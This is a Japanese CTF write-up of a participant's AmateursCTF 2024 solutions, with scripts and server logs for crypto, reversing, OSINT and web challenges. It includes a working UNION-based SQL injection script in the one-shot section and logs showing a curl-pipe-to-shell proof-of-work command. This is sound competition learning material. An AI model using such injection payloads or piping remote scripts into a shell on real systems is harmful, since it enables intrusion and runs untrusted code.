AmateursCTF 2024 Writeup

この大会は2024/4/5 23:00(JST)~2024/4/10 12:00(JST)に開催されました。
今回は個人で参戦。結果は2332点で1536チーム中129位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

amateursCTF{free_flag_and_please_follow_the_rules}

tarcrypt (misc)

スクリプトの処理概要は以下の通り。

・mkzip(['flag.txt'], 'flag.tarc', pwd=open('password.txt').read())
 ・zip = b""
 ・zip += b"flag.txt\x00"
 ・contents: flag.txtの内容
 ・length: contentsの長さをバイト文字列化
 ・lenlen: lengthの長さをバイト文字列化
 ・lenlenの長さが1以外の場合、エラー ※contentsの長さは255バイト以下
 ・zip += lenlen + length + contents
 ・key: pwdのsha256ダイジェスト
 ・key_checksum: pwdのsha256ダイジェスト
 ・nonce = b"\x00" * 16
 ・enc: AES GCM暗号化オブジェクト(鍵: key、nonce: nonce)
 ・zip = key_checksum + enc.encrypt(zip)
 ・flag.tarcにzipを書き込み

鍵がわかっているので復号でき、flag.txtの内容を復元できる。

#!/usr/bin/env python3
from Crypto.Cipher import AES as _AES
from Crypto.Util.number import long_to_bytes as _l2b
from Crypto.Util.number import bytes_to_long as _b2l
from hashlib import sha256 as _sha256

with open('flag.tarc', 'rb') as f:
    zip = f.read()

key = zip[:32]
zip = zip[32:]
nonce = b"\x00" * 16
enc = _AES.new(key, _AES.MODE_GCM, nonce=nonce)
zip = enc.decrypt(zip)

flag = zip[len("flag.txt\x00") + 2:].decode()
print(flag)
amateursCTF{l0l_d0nt_m4k3_kdf_and_ch3cksuM_the_s4m3}

bathroom-break (osint)

検索すると、以下のページが見つかる。

https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/

ホットクリークとのことで、近辺のトイレ(以下の場所)のレビューを見てみる。

https://www.google.nl/maps/place/Vault+Toilets/@37.6600886,-118.827219,18z/data=!4m14!1m7!3m6!1s0x809604937acf462d:0x5d20877f1e42b22f!2z44Ob44OD44OI44Kv44Oq44O844Kv!8m2!3d37.6644384!4d-118.8283213!16s%2Fm%2F03c14wn!3m5!1s0x809605316a6892c9:0xfd9f3f17d2d3a284!8m2!3d37.6610839!4d-118.8273592!16s%2Fg%2F11pv3j5k3d?entry=ttu

以下のように書いてある。

Convenient bathroom. I really like this bathroom, since it's the only one in the area.
It's also pretty clean in addition to convenient, which is great.

t .  l y / p  h X h  x

http://t.ly/phXhxにアクセスしてみると、https://pastebin.com/jxaznYqHに飛ぶ。長い文章中にフラグが書いてあった。

amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}

cherry-blossoms (osint)

いろいろ調べたところ、USAの国旗が円になるように並んでいる場所はワシントン記念塔の近辺であることがわかる。この辺りがだいたい一致しそう。

https://www.google.co.jp/maps/@38.8898901,-77.0334988,2a,75y,206.73h,90.86t/data=!3m6!1e1!3m4!1sR8Sd7bdo8nWX9lpR5_0IwA!2e0!7i13312!8i6656?hl=ja&entry=ttu
$ nc chal.amt.rs 1771
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.ShQ2S5lN9TkGa4Yixi7b5Q==
solution: s.MhATWIg469uWZ4KOLmoLPtJdGQO20Wfi98LdbUgu3US1sRHzCXVIJZfyUxx8j27tcQdS4DzgjPqOcQqo6IrAddqCv00OSz4+Zs+aVRzQPcDoK+zjWSwMzVycf5vJ7EIKJCtiqdIIFsowmh3ZNz6SXs6AhOFcfqi6j7qVHQ9B6akHAP/FFZ0P3YDIazgon90YteSU5Tpv4qRUEPE8p3Cgdg==
Please enter the lat and long of the location: 38.8898901 -77.0334988
Correct! You have successfully determined the position of the camera.
Great job, the flag is  amateursCTF{l00k1ng_l0v3ly_1n_4k}
amateursCTF{l00k1ng_l0v3ly_1n_4k}

typo (rev)

スクリプトのコードがわかりにくので、変数名を置き換える。

import random
seed = int('1665663c', 20)
random.seed(seed)
flag = bytearray(open('flag.txt', 'rb').read())
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
funcs = [transfer, plus1, minus1]
funcs = [random.choice(funcs) for _ in range(128)]
def func1(arr, ar):
    for r in ar:
        arr = funcs[r](arr)
    return arr
def func2(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
ct = func1(flag, key.encode())
ct = func2(lst, ct)
print(ct.hex())

逆算してフラグを復号する。

#!/usr/bin/env python3
import random

plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
def rev_transfer(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex

seed = int('1665663c', 20)
random.seed(seed)
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]

with open('output.txt', 'r') as f:
    ct = f.read()

ar = int(ct, 16)
for r in lst:
    ar -= int(r, 35)

chars = '0123456789abcdefg'

h = ''
while True:
    mod = ar % 17
    h = chars[mod] + h
    ar = ar // 17
    if ar == 0:
        break

assert 'g' not in h

arr = bytes.fromhex(h)

func = [rev_transfer, minus1, plus1]
func_list = [random.choice(func) for _ in range(128)]

for k in key.encode()[::-1]:
    arr = func_list[k](arr)
flag = arr.decode()
print(flag)
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}

denied (web)

GETメソッド以外でアクセスすればよい。

$ curl -X OPTIONS http://denied.amt.rs/
GET,HEAD

$ curl -I http://denied.amt.rs/
HTTP/1.1 200 OK
Content-Length: 7
Content-Type: text/html; charset=utf-8
Date: Fri, 05 Apr 2024 22:34:26 GMT
Etag: W/"7-skdQAtrqJAsgWjDuibJaiRXqV44"
Server: Caddy
Set-Cookie: flag=amateursCTF%7Bs0_m%40ny_0ptions...%7D; Path=/
X-Powered-By: Express

クッキーにフラグがURLエンコードされて設定されているので、URLデコードする。

amateursCTF{s0_m@ny_0ptions...}

one-shot (web)

各パスで以下のような処理をしている。

■/new_session, POST
table_{id}テーブルを作成し、([ランダム16バイトの16進数表記], 0)を登録
※{id}はわかる。

■/search, POST
・([ランダム16バイトの16進数表記], 1)に更新
 ※1度/searchにアクセスすると、2回目は検索できない。
・passwordをqurtyで部分一致検索する。
・passwordの最初の1文字目だけ表示される。

■/guess, POST
・passwordで検索し、あったらフラグを表示

union句でsubstringで2文字目以降を1文字目のデータにした複数のデータとして取得すれば、passwordを割り出せる。

#!/usr/bin/env python3
import requests
import re

base_url = 'http://one-shot.amt.rs/'

url = base_url + 'new_session'
r = requests.post(url)

pattern = 'name="id" value="(\w+)"'
m = re.search(pattern, r.text)
id = m.group(1)

url = base_url + 'search'

query = "z'"
for i in range(32):
    query += " union select all substring(password, %d, %d) from table_%s" % (i + 1, 32 - i, id)
query += " -- -"

payload = {"id": id, "query": query}
r = requests.post(url, data=payload)

pattern = '<ul>\s+(<li>.+</li>)\s+</ul>'
m = re.search(pattern, r.text)
res = m.group(1)
res = res.replace('</li>', '')
res = res.split('<li>')[1:]

password = [''] * 32
for pwd in res:
    password[32 - len(pwd)] = pwd[0]
password = ''.join(password)

payload = {"id": id, "password": password}
url = base_url + 'guess'
r = requests.post(url, data=payload)
print(r.text)

実行結果は以下の通り。

<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

aesy (crypto)

そのままAES暗号 ECBモードとして復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = '8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f'
ct = 'abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f'

key = bytes.fromhex(key)
ct = bytes.fromhex(ct)

cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
amateursCTF{w0w_3cb_a3s_1s_fun}

unsuspicious-rsa (crypto)

factorial(90)をCとすると、nextPrimeによりqは以下のような計算になる。

q = p + (C - p) % C

次の計算により以下の式が成り立つ。

q = (p - p % C) + 1

さらにその後の計算により以下の式が成り立つ。

q = p - p % C + 1 + C * X

また以下が成り立つ。

n % C = (p % C) * (q % C) = p % C

p * q = Nであることからpの2次方程式になる。Xを128未満としてこのpの2次方程式で整数解があるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

with open('output.txt', 'r') as f:
    N, e, c = map(int, f.read().split(' '))

C = factorial(90)
A = N % C

found = False
for x in range(128):
    p = sympy.Symbol('p')
    eq = p * (p - A + 1 + C * x) - N
    ps = sympy.solve(eq)
    for p in ps:
        if p.is_Integer and int(p) > 0:
            found = True
            p = int(p)
            break
    if found:
        break

assert N % p == 0 and found

q = N // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
amateursCTF{here's_the_flag_you_requested.}

faked-onion (crypto)

サーバの処理概要は以下の通り。

・key: ランダム16バイト
・cipher = Cipher(key)
 ・cipher.key = key
 ・cipher.block_size = 16
 ・cipher.rounds = 1
・以下繰り返し
 ・choice: 入力
 ・choiceが"1"の場合
  ・pt: 入力
  ・pt: ptをhexデコードしたもの
  ・ct = cipher.encrypt(pt)
   ・plaintext: ptを"\x00"で16バイトになるようパディング
   ・ciphertext = b''
   ・plaintextを16バイトごとに以下を実行
    ・block: plaintextの16バイトブロック
    ・L, R = block[:-1], block[-1:]
    ・L, R = R, strxor(L, self.F(R))
    ・block = L + R
   ・ciphertextにblockを結合
  ・ctを16進数表記で表示
 ・choiceが"2"の場合
  ・ct = cipher.encrypt(flag)
  ・ctを16進数表記で表示

Rが1バイトなので、各ブロックの最後の文字のF(R)を取得し、XORして復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1414))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)
enc_blocks = [enc_flag[i:i+16] for i in range(0, len(enc_flag), 16)]

flag = b''
for i in range(len(enc_blocks)):
    R = enc_blocks[i].hex()[:2]
    L = '0' * 30
    pt = L + R
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b': ')
    print(data + pt)
    s.sendall(pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    flag += strxor(bytes.fromhex(data[2:]), enc_blocks[i][1:])
    flag += bytes([int(R, 16)])

flag = flag.decode()
print(flag)

実行結果は以下の通り。

faked onion
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 2
6e20a0b1803ac99b206786fbe8cc600569e944dc9fdb7366fc11c992f23b103a3496e44913966be7953648332dd2314f723c3c0dbc56713df0558e7a5bd8626765a69aecd571937379b74b06cba05a337d1f2c720a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000006e
6e41cdd0f45fbce95324d2bd93a3085a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000069
69861bb1e6841c08994ea6f4ad5a4f51
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000034
34f8806476e419b8e6593a4154fe6e29
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000072
72575969e3391f0cc03bd11932a80a02
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000065
65f9fd83a12ef81a48862e6294976903
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000007d
7d7d1d113a5661897b5daa3edf8299c0
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}

decryption-as-a-service (crypto)

サーバの処理概要は以下の通り。

・p, q: 1024ビット素数
・N = p * q
・e: 64ビット素数
・d = pow(e, -1, (p - 1) * (q - 1))
・encrypted_flag = pow(flag, e, N)
・encrypted_flagを表示
・以下10回繰り返し
 ・c: 数値入力
 ・cがNの平方根より大きくNより小さい場合
  ・cがencrypted_flagまたはN - encrypted_flagの場合、cの入力からやり直し
  ・pow(c, d, N)を16進数で表示

以下の式を考える。

pow(K * 2, d, N) = pow(K, d, N) * pow(2, d, N) % N
pow(K * 4, d, N) = pow(K, d, N) * pow(2, d, N) ** 2 % N
pow(K * 8, d, N) = pow(K, d, N) * pow(2, d, N) ** 3 % N
pow(K * 16, d, N) = pow(K, d, N) * pow(2, d, N) ** 4 % N

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N
pow(K * 4, d, N) ** 2 % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N

つまり以下が成り立つ。

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K * 4, d, N) ** 2 % N

同様にして以下が成り立つ。

pow(K * 4, d, N) * pow(K * 16, d, N) % N = pow(K * 8, d, N) ** 2 % N

このことを使って、差分の最大公約数からNを割り出す。
基本的にencrypted_flagは偶数になっているので、以下の計算により復号することができる。

pow(encrypted_flag, d, N) = pow(2, d, N) * pow(encrypted_flag // 2, d, N) % N

これを使うためにはpow(2, d, N)を知る必要がある。

pow(K * 4, d, N) = pow(K * 2, d, N) * pow(2, d, N) % N

このことから以下が成り立つ。

pow(2, d, N) = pow(K * 4, d, N) * inverse(pow(K * 2, d, N), N) % N

あとはこの情報を使って復号すればよい。なお、PoWのスクリプトをpow.shに保存して実行した。

#!/usr/bin/env python3
import socket
import subprocess
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1417))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

cmd = ['./pow.sh', data.split(' ')[-1]]
ret = subprocess.check_output(cmd).decode().rstrip()
print(ret)
s.sendall(ret.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_flag = int(data.split(' ')[-1])

try_rsa_dec = []
for c in [2, 4, 8, 16, 32]:
    try_c = 2 ** 1023 * c
    data = recvuntil(s, b'? ')
    print(data + str(try_c))
    s.sendall(str(try_c).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_rsa_dec.append(int(data, 16))

N_mul = []
for i in range(3):
    diff = try_rsa_dec[i] * try_rsa_dec[i+2] - try_rsa_dec[i+1] ** 2
    if diff < 0:
        diff = - diff
    N_mul.append(diff)

N = N_mul[0]
for i in range(1, len(N_mul)):
    N = GCD(N, N_mul[i])

m1 = try_rsa_dec[1] * inverse(try_rsa_dec[0], N) % N

try_c = encrypted_flag // 2
data = recvuntil(s, b'? ')
print(data + str(try_c))
s.sendall(str(try_c).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m2 = int(data, 16)

m = m1 * m2 % N
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.cHMfkEl2f2Z3IIJPmGQJ7g==
s.aJhGOiyPZRReGN4xQtOj6vOX+qGtOAlrTxx4uCFNYCLUCEtZ/RQtMbD04fBxKkm/WrmVH0JKgt+wPJsLvDkNVSvogcdNK/vJAab96o+ymapRvcK11c19jSgW0YOjxU1dIhP6TguPCOTy39iZ0Aqu/hMUHh3ZM4/d/+LTanmGSREp67gScPfpSMGE2e+d0yhJxb+6HvEzLe0unWvvOEQdvg==
solution: encrypted_flag = 1440832147523262174482257747700943103397993159734601725151768012492358003045881121396323499064560208600135658284555844092482671013190257899167314943288892688743207339745031972087453742136569069619636856119073031702177669244618914518298512094939714277282672876300531230992372793195514840052688185022090855070746526659021271825548909552750343767634719444889457584149183413382431860623633086346395521831999668137856125317833268618936467816767872819093365995958316833873317876611495589407873118246825627561821912777984448145226437011628650286100969125835492623916095788185529333093742097430598771439303659280468402136542
message? 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137216
490be91eead537e399d7c44329ac9409ca5351574080a978aeee9959b3654e4ffc298eef56358c28ddbd4f63a48f69baa975ff35f00fda4cae63deab5d126995b0c88ab26faab046b7b5ea1b4f30c77a689edd29d6d86bea22842bf7070594842cf949e14572be8021975e5043df92fd9e593b45ddf04441de9462f707ac8f2460263c2cdc7a67e2883e087bcdca24588f2bc4774e1a13a7ecc7605c21607ec163bc1557771cc78115da5e0a43bcd66fc49fce9c93bf94b30f10baa164c7f923e66fcdcf8cb4a9c5d905a56e8c1baaca8ddad328d24830066138d0f941739cdb1383548975c7e3d48c6956507e703ed2bf693faba3435596640f564dfd2c1bec
message? 359538626972463181545861038157804946723595395788461314546860162315465351611001926265416954644815072042240227759742786715317579537628833244985694861278948248755535786849730970552604439202492188238906165904170011537676301364684925762947826221081654474326701021369172596479894491876959432609670712659248448274432
a8ed01c81e5255baf4596223f770c8965abc92c010a11e209ed4fac030a796cd8d5e35f387de270096eee00caf4333c6ecc61a818c92cff7e9ec8062c43c9367a1bbc9167d9f97058bb792557732e6412a73c72d61f0dd542fd202031e22bcdc0d75e26c076d1be2468c93017f6b757a0924abd38f049ef71c439c78855bc7d026a503c0af7b31026d28b247c102526fe50bc32cd99c46f29fcdde7397f9c2c44d3b8640d41533e637e1031f7296f69afe3e2698fbeff287defd8b7b1a3dcfb6dea3ea9efa2b11fc235a2620f149227149c55908a2496aa34d5c5373f88b4ba19211dec662fb03b34584603c323dae0cbf23b3a9946766c0f7f49fbdc36b6d87
message? 719077253944926363091722076315609893447190791576922629093720324630930703222003852530833909289630144084480455519485573430635159075257666489971389722557896497511071573699461941105208878404984376477812331808340023075352602729369851525895652442163308948653402042738345192959788983753918865219341425318496896548864
f46cc4800a6ccdb2acf819c106c9a7bfad702312da65482ecdc1b6a7d451b13897ea7ea5fd53d0ea922182a143fef1e585e71b92deceaa8ef89460bb8576bd7db00b2a4857146bb6dc5514db34c4d0d05e0bd45cf63d5b0d9ced0dc5f0c6499f8e261e7f5b99781d42de1da9eccbc50a0350bb0a306ba31777cdc9f4c455dc6193a967738aea3932b278e99ddaa22b8d4e7cf42e5ecaf11c754d4c7b4323d39298de448e3ef4e414c91ecda63408f0eeaa136ac8c51c820b8fd2c89ccf4b07ea385ce71ed4dc6446587ff90fb27dab4e9c8ad1df7c208f32535959400b744ff74cb3e293d4afd608b14b1f34cb0de97e8b4b73eaf346592cf4fec54631fd4d9
message? 1438154507889852726183444152631219786894381583153845258187440649261861406444007705061667818579260288168960911038971146861270318150515332979942779445115792995022143147398923882210417756809968752955624663616680046150705205458739703051791304884326617897306804085476690385919577967507837730438682850636993793097728
7443a4f217d341ec02b4c89a377413ddca20265718604338c0af51f67669f8915f2daae6fdc5e8650a0b1b8bebc5182f16873fb404240fb448a37e350b1c4069173b6eee9c2cba545e6f34098013abebbea3e1ffc856d95491cdb081fe8b8edd0a08db3288d078c1f75910c3d34f11cd0d8b1bffb9ee8871ddcf9a51bda4ea7782c6a374c961ce893ee642260b3709a96945dfbe5b0f10e4f5307d76e83786920e3ba069c09c0614a1d7c6ccf1f37cb6e92bd533e8a689abc6dc6dee1ba89c9d61c4497a507f92a88aee801402e5e4db88c96ddbbe07aa5ca6c1e260e81d54c720167a0e639de60185acdae792877e45d28e930836e7b4320102db5669092196
message? 2876309015779705452366888305262439573788763166307690516374881298523722812888015410123335637158520576337921822077942293722540636301030665959885558890231585990044286294797847764420835513619937505911249327233360092301410410917479406103582609768653235794613608170953380771839155935015675460877365701273987586195456
1312bc7f9adfded70c92600a6de4b0c2bd8d99777ec51bb72af5f14521baed7be86121edfe7dec9f73e94404b0d869ae474ec75ca66714208f2755ce271e1c9ae866fc435ef963d1aa3729a8bbb6ee35bdbf507a0b5df47c94aa8a92f1cf9aa83014c57740651dda557a2e9c1813a5651026c3fb48dc91b350ac61ec0351d41e50e82de02262c8845967dec1e9dbb533af78f4e26400e129d5c772807a08392440e422426721b99ace7b662a419101bdc4f2ba1241277b17d0e6c10299686b1dc1f29b868780ff209d86930d0f3f27504773422eb4fd4c0a599ef93b376eebe383a64f583e55114266aa97aec39afdb9821b40011d0b1a18a2cab372c68863cc
message? 720416073761631087241128873850471551698996579867300862575884006246179001522940560698161749532280104300067829142277922046241335506595128949583657471644446344371603669872515986043726871068284534809818428059536515851088834622309457259149256047469857138641336438150265615496186396597757420026344092511045427535373263329510635912774454776375171883817359722444728792074591706691215930311816543173197760915999834068928062658916634309468233908383936409546682997979158416936658938305747794703936559123412813780910956388992224072613218505814325143050484562917746311958047894092764666546871048715299385719651829640234201068271
1faa9bebc3cf993cdd7f1fd1991b3adc36ee4b80a6647d96e44493faae6b198e72c39b0c72baab75135db9186c525e5c2adca9640d1368f6ce942f16ed214df44be59a8365ada4b95b943fa6d73b7fbbfa0c4669d60ae4d040c6a57913a3ae2272d5b820ae2809b1a857032cef1366007161041ef0cf7507756e408f80e6a897dd151cb5fd1904c63883682e2370f565fac78482a187f9230fc81d9d0fb4cfab3ea879a83735d771756cef32b822490cabaaf4ce59c054fe9158b0f8214e8c9c8813bf8fed57369e3efbd6422d6f56de5ab0e496e100a701d656623e4cd68ab9646c4cfa29bfa8b130d3ac96ba2f3c0e0d48dc314a1a886fd783595e9459f7f9
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}

survey (misc)

アンケートに答えたら、フラグが表示された。

amateursCTF{Thanks for playing!}